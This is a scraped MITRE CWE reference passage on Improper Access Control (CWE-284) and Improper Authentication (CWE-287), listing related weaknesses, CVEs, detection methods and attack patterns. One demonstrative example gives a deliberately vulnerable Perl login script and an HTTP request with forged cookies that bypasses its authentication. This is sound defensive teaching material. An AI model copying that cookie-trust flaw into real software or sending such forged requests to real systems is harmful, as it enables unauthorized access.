ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1290	Incorrect Decoding of Security Identifiers
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1292	Incorrect Conversion of Security Identifiers
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	1294	Insecure Security Identifier Mechanism
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1296	Incorrect Chaining or Granularity of Debug Components
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1304	Improperly Preserved Integrity of Hardware Configuration State During a Power Save/Restore Operation
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1311	Improper Translation of Security Attributes by Fabric Bridge
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1312	Missing Protection for Mirrored Regions in On-Chip Fabric Firewall
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1313	Hardware Allows Activation of Test or Debug Logic at Runtime
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1315	Improper Setting of Bus Controlling Capability in Fabric End-point
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1316	Fabric-Address Map Allows Programming of Unwarranted Overlaps of Protected and Unprotected Ranges
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1317	Improper Access Control in Fabric Bridge
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1320	Improper Protection for Outbound Error Messages and Alert Signals
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1323	Improper Management of Sensitive Trace Data
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1334	Unauthorized Error Injection Can Degrade Hardware Redundancy

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1011	Authorize Actors

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	285	Improper Authorization
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	287	Improper Authentication
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	288	Authentication Bypass Using an Alternate Path or Channel
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	639	Authorization Bypass Through User-Controlled Key
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	862	Missing Authorization
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	863	Incorrect Authorization

Modes Of Introduction

Phase	Note
Architecture and Design
Implementation	REALIZATION: This weakness is caused during implementation of an architectural security tactic.
Operation

Applicable Platforms

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

Class: ICS/OT (Undetermined Prevalence)

Observed Examples

Reference	Description
CVE-2022-24985	A form hosting website only checks the session authentication status for a single form, making it possible to bypass authentication when there are multiple forms
CVE-2022-29238	Access-control setting in web-based document collaboration tool is not properly implemented by the code, which prevents listing hidden directories but does not prevent direct requests to files in those directories.
CVE-2022-23607	Python-based HTTP library did not scope cookies to a particular domain such that "supercookies" could be sent to any domain on redirect
CVE-2021-21972	Chain: Cloud computing virtualization platform does not require authentication for upload of a tar format file (CWE-306), then uses .. path traversal sequences (CWE-23) in the file to access unexpected files, as exploited in the wild per CISA KEV.
CVE-2021-37415	IT management product does not perform authentication for some REST API requests, as exploited in the wild per CISA KEV.
CVE-2021-35033	Firmware for a WiFi router uses a hard-coded password for a BusyBox shell, allowing bypass of authentication through the UART port
CVE-2020-10263	Bluetooth speaker does not require authentication for the debug functionality on the UART port, allowing root shell access
CVE-2020-13927	Default setting in workflow management product allows all API requests without authentication, as exploited in the wild per CISA KEV.
CVE-2010-4624	Bulletin board applies restrictions on number of images during post creation, but does not enforce this on editing.

Affected Resources

File or Directory

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	254	7PK - Security Features
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	723	OWASP Top Ten 2004 Category A2 - Broken Access Control
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	944	SFP Secondary Cluster: Access Management
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1031	OWASP Top Ten 2017 Category A5 - Broken Access Control
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1340	CISQ Data Protection Measures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1369	ICS Supply Chain: IT/OT Convergence/Expansion
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1372	ICS Supply Chain: OT Counterfeit and Malicious Corruption
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1396	Comprehensive Categorization: Access Control

Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reasons: Frequent Misuse, Abstraction

Rationale:

CWE-284 is extremely high-level, a Pillar. Its name, "Improper Access Control," is often misused in low-information vulnerability reports [REF-1287] or by active use of the OWASP Top Ten, such as "A01:2021-Broken Access Control". It is not useful for trend analysis.

Comments:

Consider using descendants of CWE-284 that are more specific to the kind of access control involved, such as those involving authorization (Missing Authorization (CWE-862), Incorrect Authorization (CWE-863), Incorrect Permission Assignment for Critical Resource (CWE-732), etc.); authentication (Missing Authentication (CWE-306) or Weak Authentication (CWE-1390)); Incorrect User Management (CWE-286); Improper Restriction of Communication Channel to Intended Endpoints (CWE-923); etc.

Suggestions:

CWE-ID	Comment
CWE-862	Missing Authorization
CWE-863	Incorrect Authorization
CWE-732	Incorrect Permission Assignment for Critical Resource
CWE-306	Missing Authentication
CWE-1390	Weak Authentication
CWE-923	Improper Restriction of Communication Channel to Intended Endpoints

Notes

Maintenance

This entry needs more work. Possible sub-categories include:

Trusted group includes undesired entities (partially covered by CWE-286)
Group can perform undesired actions
ACL parse error does not fail closed

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Access Control List (ACL) errors
WASC	2	Insufficient Authorization
7 Pernicious Kingdoms		Missing Access Control

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-19	Embedding Scripts within Scripts
CAPEC-441	Malicious Logic Insertion
CAPEC-478	Modification of Windows Service Configuration
CAPEC-479	Malicious Root Certificate
CAPEC-502	Intent Spoof
CAPEC-503	WebView Exposure
CAPEC-536	Data Injected During Configuration
CAPEC-546	Incomplete Data Deletion in a Multi-Tenant Environment
CAPEC-550	Install New Service
CAPEC-551	Modify Existing Service
CAPEC-552	Install Rootkit
CAPEC-556	Replace File Extension Handlers
CAPEC-558	Replace Trusted Executable
CAPEC-562	Modify Shared File
CAPEC-563	Add Malicious File to Shared Webroot
CAPEC-564	Run Software at Logon
CAPEC-578	Disable Security Software

References

[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 6, "Determining Appropriate Access Control" Page 171. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.

[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 17: Failure to Protect Stored Data." Page 253. McGraw-Hill. 2010.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	PLOVER
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Alternate_Terms, Background_Details, Description, Maintenance_Notes, Name, Relationships, Taxonomy_Mappings
2008-10-14	CWE Content Team	MITRE
2008-10-14	updated Relationships
2009-03-10	CWE Content Team	MITRE
2009-03-10	updated Relationships
2009-07-27	CWE Content Team	MITRE
2009-07-27	updated Alternate_Terms, Relationships
2009-12-28	CWE Content Team	MITRE
2009-12-28	updated Potential_Mitigations
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated References, Taxonomy_Mappings
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Potential_Mitigations
2011-03-24	CWE Content Team	MITRE
2011-03-24	Changed name and description; clarified difference between "access control" and "authorization."
2011-03-29	CWE Content Team	MITRE
2011-03-29	updated Alternate_Terms, Background_Details, Description, Maintenance_Notes, Name, Relationships
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2011-06-27	CWE Content Team	MITRE
2011-06-27	updated Common_Consequences
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated References, Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2014-02-18	CWE Content Team	MITRE
2014-02-18	updated Related_Attack_Patterns, Relationships
2014-06-23	CWE Content Team	MITRE
2014-06-23	updated Relationships
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Affected_Resources, Modes_of_Introduction, Observed_Examples, References, Relationships
2018-03-27	CWE Content Team	MITRE
2018-03-27	updated References, Relationships
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Related_Attack_Patterns
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Related_Attack_Patterns, Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships, Taxonomy_Mappings, Type
2020-06-25	CWE Content Team	MITRE
2020-06-25	updated Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Potential_Mitigations, Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Maintenance_Notes, Relationships
2021-07-20	CWE Content Team	MITRE
2021-07-20	updated Observed_Examples
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2022-06-28	CWE Content Team	MITRE
2022-06-28	updated Observed_Examples
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated References
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Applicable_Platforms, Description, Observed_Examples, Relationships
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
2023-10-26	CWE Content Team	MITRE
2023-10-26	updated Observed_Examples
2024-02-29 (CWE 4.14, 2024-02-29)	CWE Content Team	MITRE
2024-02-29 (CWE 4.14, 2024-02-29)	updated Observed_Examples
Previous Entry Names
Change Date	Previous Entry Name
2008-09-09	Access Control Issues
2011-03-29	Access Control (Authorization) Issues

Weakness ID: 287

View customized information:

Description

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

Alternate Terms

authentification:	An alternate term is "authentification", which appears to be most commonly used by people from non-English-speaking countries.
AuthN:	"AuthN" is typically used as an abbreviation of "authentication" within the web application security community. It is also distinct from "AuthZ," which is an abbreviation of "authorization." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.
AuthC:	"AuthC" is used as an abbreviation of "authentication," but it appears to used less frequently than "AuthN."

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability Access Control	Technical Impact: Read Application Data; Gain Privileges or Assume Identity; Execute Unauthorized Code or Commands This weakness can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with sensitive information or even execute arbitrary code.

Potential Mitigations

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use an authentication framework or library such as the OWASP ESAPI Authentication feature.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	284	Improper Access Control
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	295	Improper Certificate Validation
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	306	Missing Authentication for Critical Function
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	645	Overly Restrictive Account Lockout Mechanism
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	1390	Weak Authentication
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	613	Insufficient Session Expiration

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	290	Authentication Bypass by Spoofing
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	294	Authentication Bypass by Capture-replay
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	295	Improper Certificate Validation
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	306	Missing Authentication for Critical Function
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	307	Improper Restriction of Excessive Authentication Attempts
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	521	Weak Password Requirements
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	522	Insufficiently Protected Credentials
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	640	Weak Password Recovery Mechanism for Forgotten Password
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	798	Use of Hard-coded Credentials

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1010	Authenticate Actors

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	284	Improper Access Control

Modes Of Introduction

Phase	Note
Architecture and Design
Implementation	REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: ICS/OT (Often Prevalent)

Likelihood Of Exploit

High

Demonstrative Examples

Example 1

The following code intends to ensure that the user is already logged in. If not, the code performs authentication with the user-provided username and password. If successful, it sets the loggedin and user cookies to "remember" that the user has already logged in. Finally, the code performs administrator tasks if the logged-in user has the "Administrator" username, as recorded in the user cookie.

(bad code)

Example Language: Perl

my $q = new CGI;

if ($q->cookie('loggedin') ne "true") {

if (! AuthenticateUser($q->param('username'), $q->param('password'))) {

ExitError("Error: you need to log in first");

}
else {

# Set loggedin and user cookies.
$q->cookie(

-name => 'loggedin',
-value => 'true'
);

$q->cookie(

-name => 'user',
-value => $q->param('username')
);

}

}

if ($q->cookie('user') eq "Administrator") {

DoAdministratorTasks();

}

Unfortunately, this code can be bypassed. The attacker can set the cookies independently so that the code does not check the username and password. The attacker could do this with an HTTP request containing headers such as:

(attack code)

GET /cgi-bin/vulnerable.cgi HTTP/1.1
Cookie: user=Administrator
Cookie: loggedin=true

[body of request]

By setting the loggedin cookie to "true", the attacker bypasses the entire authentication check. By using the "Administrator" value in the user cookie, the attacker also gains privileges to administer the software.

Example 2

In January 2009, an attacker was able to gain administrator access to a Twitter server because the server did not restrict the number of login attempts [REF-236]. The attacker targeted a member of Twitter's support team and was able to successfully guess the member's password using a brute force attack by guessing a large number of common words. After gaining access as the member of the support staff, the attacker used the administrator panel to gain access to 33 accounts that belonged to celebrities and politicians. Ultimately, fake Twitter messages were sent that appeared to come from the compromised accounts.

Example 2 References:

[REF-236] Kim Zetter. "Weak Password Brings 'Happiness' to Twitter Hacker". 2009-01-09. <https://www.wired.com/2009/01/professed-twitt/>. URL validated: 2023-04-07.

Example 3

Multiple vendors did not use any authentication or used client-side authentication for critical functionality in their OT products.

Observed Examples

Reference	Description
CVE-2022-35248	Chat application skips validation when Central Authentication Service (CAS) is enabled, effectively removing the second factor from two-factor authentication
CVE-2022-36436	Python-based authentication proxy does not enforce password authentication during the initial handshake, allowing the client to bypass authentication by specifying a 'None' authentication type.
CVE-2022-30034	Chain: Web UI for a Python RPC framework does not use regex anchors to validate user login emails (CWE-777), potentially allowing bypass of OAuth (CWE-1390).
CVE-2022-29951	TCP-based protocol in Programmable Logic Controller (PLC) has no authentication.
CVE-2022-29952	Condition Monitor uses a protocol that does not require authentication.
CVE-2022-30313	Safety Instrumented System uses proprietary TCP protocols with no authentication.
CVE-2022-30317	Distributed Control System (DCS) uses a protocol that has no authentication.
CVE-2022-33139	SCADA system only uses client-side authentication, allowing adversaries to impersonate other users.
CVE-2021-3116	Chain: Python-based HTTP Proxy server uses the wrong boolean operators (CWE-480) causing an incorrect comparison (CWE-697) that identifies an authN failure if all three conditions are met instead of only one, allowing bypass of the proxy authentication (CWE-1390)
CVE-2021-21972	Chain: Cloud computing virtualization platform does not require authentication for upload of a tar format file (CWE-306), then uses .. path traversal sequences (CWE-23) in the file to access unexpected files, as exploited in the wild per CISA KEV.
CVE-2021-37415	IT management product does not perform authentication for some REST API requests, as exploited in the wild per CISA KEV.
CVE-2021-35033	Firmware for a WiFi router uses a hard-coded password for a BusyBox shell, allowing bypass of authentication through the UART port
CVE-2020-10263	Bluetooth speaker does not require authentication for the debug functionality on the UART port, allowing root shell access
CVE-2020-13927	Default setting in workflow management product allows all API requests without authentication, as exploited in the wild per CISA KEV.
CVE-2021-35395	Stack-based buffer overflows in SFK for wifi chipset used for IoT/embedded devices, as exploited in the wild per CISA KEV.
CVE-2021-34523	Mail server does not properly check an access token before executing a Powershell command, as exploited in the wild per CISA KEV.
CVE-2020-12812	Chain: user is not prompted for a second authentication factor (CWE-287) when changing the case of their username (CWE-178), as exploited in the wild per CISA KEV.
CVE-2020-10148	Authentication bypass by appending specific parameters and values to a URI, as exploited in the wild per CISA KEV.
CVE-2020-0688	Mail server does not generate a unique key during installation, as exploited in the wild per CISA KEV.
CVE-2017-14623	LDAP Go package allows authentication bypass using an empty password, causing an unauthenticated LDAP bind
CVE-2009-3421	login script for guestbook allows bypassing authentication by setting a "login_ok" parameter to 1.
CVE-2009-2382	admin script allows authentication bypass by setting a cookie value to "LOGGEDIN".
CVE-2009-1048	VOIP product allows authentication bypass using 127.0.0.1 in the Host header.
CVE-2009-2213	product uses default "Allow" action, instead of default deny, leading to authentication bypass.
CVE-2009-2168	chain: redirect without exit (CWE-698) leads to resultant authentication bypass.
CVE-2009-3107	product does not restrict access to a listening port for a critical service, allowing authentication to be bypassed.
CVE-2009-1596	product does not properly implement a security-related configuration setting, allowing authentication bypass.
CVE-2009-2422	authentication routine returns "nil" instead of "false" in some situations, allowing authentication bypass using an invalid username.
CVE-2009-3232	authentication update script does not properly handle when admin does not select any authentication modules, allowing authentication bypass.
CVE-2009-3231	use of LDAP authentication with anonymous binds causes empty password to result in successful authentication
CVE-2005-3435	product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks.
CVE-2005-0408	chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass.

Detection Methods

Automated Static Analysis

Automated static analysis is useful for detecting certain types of authentication. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authentication libraries.

Generally, automated static analysis tools have difficulty detecting custom authentication schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an established identity; an automated technique that detects the absence of authentication may report false positives.

Effectiveness: Limited

Manual Static Analysis

Manual static analysis is useful for evaluating the correctness of custom authentication mechanisms.

Effectiveness: High

Note: These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner
Web Services Scanner
Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Fuzz Tester
Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Configuration Checker

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Formal Methods / Correct-By-Construction

Effectiveness: High

Functional Areas

Authentication

Memberships

Nature	Type	ID	Name
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	635	Weaknesses Originally Used by NVD from 2008 to 2016
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	718	OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	812	OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	947	SFP Secondary Cluster: Authentication Bypass
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1028	OWASP Top Ten 2017 Category A2 - Broken Authentication
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1353	OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1364	ICS Communications: Zone Boundary Failures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1368	ICS Dependencies (& Architecture): External Digital Systems
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1396	Comprehensive Categorization: Access Control
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1425	Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1430	Weaknesses in the 2024 CWE Top 25 Most Dangerous Software Weaknesses

Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Frequent Misuse

Rationale:

This CWE entry might be misused when lower-level CWE entries are likely to be applicable. It is a level-1 Class (i.e., a child of a Pillar).

Comments:

Consider children or descendants, beginning with CWE-1390: Weak Authentication or CWE-306: Missing Authentication for Critical Function.

Suggestions:

CWE-ID	Comment
CWE-1390	Weak Authentication
CWE-306	Missing Authentication for Critical Function

Notes

Relationship

This can be resultant from SQL injection vulnerabilities and other issues.

Maintenance

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Authentication Error
OWASP Top Ten 2007	A7	CWE More Specific	Broken Authentication and Session Management
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management
WASC	1		Insufficient Authentication
ISA/IEC 62443	Part 3-3		Req SR 1.1
ISA/IEC 62443	Part 3-3		Req SR 1.2
ISA/IEC 62443	Part 4-2		Req CR 1.1
ISA/IEC 62443	Part 4-2		Req CR 1.2

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-114	Authentication Abuse
CAPEC-115	Authentication Bypass
CAPEC-151	Identity Spoofing
CAPEC-194	Fake the Source of Data
CAPEC-22	Exploiting Trust in Client
CAPEC-57	Utilizing REST's Trust in the System Resource to Obtain Sensitive Data
CAPEC-593	Session Hijacking
